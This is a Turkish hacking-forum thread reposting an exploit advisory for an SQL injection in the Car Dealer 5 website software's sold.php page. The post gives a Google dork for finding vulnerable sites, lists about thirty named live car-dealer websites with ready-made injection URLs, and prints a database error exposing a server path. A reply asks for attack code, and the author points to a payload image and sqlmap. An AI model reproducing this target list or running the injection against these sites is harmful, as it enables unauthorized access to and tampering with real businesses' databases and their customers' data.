Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Car Dealer 5 SQL Injection
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,389 / 1,389
Deneyim: 59 / 100
Rep Sayısı: 2870
Mesaj Sayısı: 6555
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Car Dealer 5 SQL Injection
15.05.2020 19:20
https://cxsecurity.com/ascii/WLB-2020040140

###################################################################

# Exploit Title : Car Dealer 5 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 21 April 2020
# Vendor Homepage : cardealer5.co.uk
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Website powered by Car Dealer 5 inurl:/sold.php
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Pastebin : pastebin.com/u/KingSkrupellos

###################################################################

# Impact :
***********
Website powered by Car Dealer 5 is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# SQL Vulnerable File :
**********************
/sold.php

# SQL Vulnerable Parameter :
***************************
?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection]

# SQL Injection Exploit :
**********************
/sold.php?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection]

###################################################################

# Example Vulnerable Sites :
*************************
Reverse IP results (185.215.36.69)
There are 38 domains hosted on this server.
Reverse IP results (185.215.36.139)
There are 59 domains hosted on this server.
Reverse IP results (185.215.36.76)
There are 60 domains hosted on this server.
Reverse IP results (185.215.37.102)
There are 52 domains hosted on this server.
Reverse IP results (185.215.36.227)
There are 44 domains hosted on this server
Reverse IP results (185.215.37.52)
There are 41 domains hosted on this server.
Reverse IP results(185.215.37.45)
There are 52 domains hosted on this server.
Reverse IP results (185.215.37.42)
There are 66 domains hosted on this server.
Reverse IP results (185.215.36.228)
There are 31 domains hosted on this server.

[+] diltonmotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] bellfieldmotor.co.uk/results.php?start=-5&make=&model=&cat=&submit=1

[+] waterfrontmotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] bruche-motors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] jcautocare.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] ecocarscheshire.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] autobrookemotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] mgpcarsderby.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] muchbirchgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] noylandrhodes.com/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] vanzntrux.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] easypeasycarcredit.com/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] brooklandsprestige.com/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] otterymotorservices.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] mckvans.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] premiercarshereford.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] kensingtoncarsales.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] hodgesgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] kenttradecars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] kenillyscars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] mcb-autohouse.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] georgebeck.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] parkviewvehicles.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] paigntonmotorcompany.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] ivanhamillcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] artistvalleymotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] dr-cc.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27

[+] uniquetransporters.co.uk/sold/cars/?start=-5&make=&model=&cat=&submit=1%27

###################################################################

# Example SQL Database Error :
****************************
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation:
1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version
for the right syntax to use near '-5,15' at line 26' in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php:198
Stack trace: #0 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php(198): PDO->prepare
('SELECT `_motor`...') #1 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/sold.php(225): fetchAllVehicles
(Array, NULL) #2 {main} thrown in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php on line 198

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###################################################################

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti
MECZUP
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 15
Yaşam Puanı: 164 / 374
Deneyim: 96 / 100
Rep Sayısı: 39
Mesaj Sayısı: 292
Üyelik Tarihi: 17.10.2018
      
Yorum: #2
RE: Car Dealer 5 SQL Injection
16.05.2020 00:01
Teşekkürler, Emeğine Sağlık Smile

Meczup Official

VarsaYoksa Cyberizm
Alinti
xDeaTh
*
avatar
Teğmen
Durum: Çevrimdışı
Seviye Puanı: 4
Yaşam Puanı: 0 / 82
Deneyim: 31 / 100
Rep Sayısı: 0
Mesaj Sayısı: 31
Üyelik Tarihi: 27.12.2013
     
Yorum: #3
RE: Car Dealer 5 SQL Injection
16.05.2020 15:17
başkan süpersin de ben exploitleyemiyorum sql kodunuda yazzan çok sevinirim ama yazmazsanda eline sağlık
Alinti
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,389 / 1,389
Deneyim: 59 / 100
Rep Sayısı:
Mesaj Sayısı: 6555
Üyelik Tarihi: 21.08.2013
     
Yorum: #4
Cvp: Car Dealer 5 SQL Injection
16.05.2020 17:48
(16.05.2020 15:17)xDeaTh Nickli Kullanıcıdan Alıntı:  başkan süpersin de ben exploitleyemiyorum sql kodunuda yazzan çok sevinirim ama yazmazsanda eline sağlık

Teşekkürler Cigara Buyur @xDeaTh

Exploit => /sold.php?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection]

Payload => Örnek => https://www.upload.ee/image/11708769/car...lmap1x.png

SQLMap Kullanımı => https://github.com/sqlmapproject/sqlmap/wiki/Usage

Yada Manuel El Yordamıyla Payload yapabilirsin.

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti
Rep Verenler: xDeaTh



1 Ziyaretçi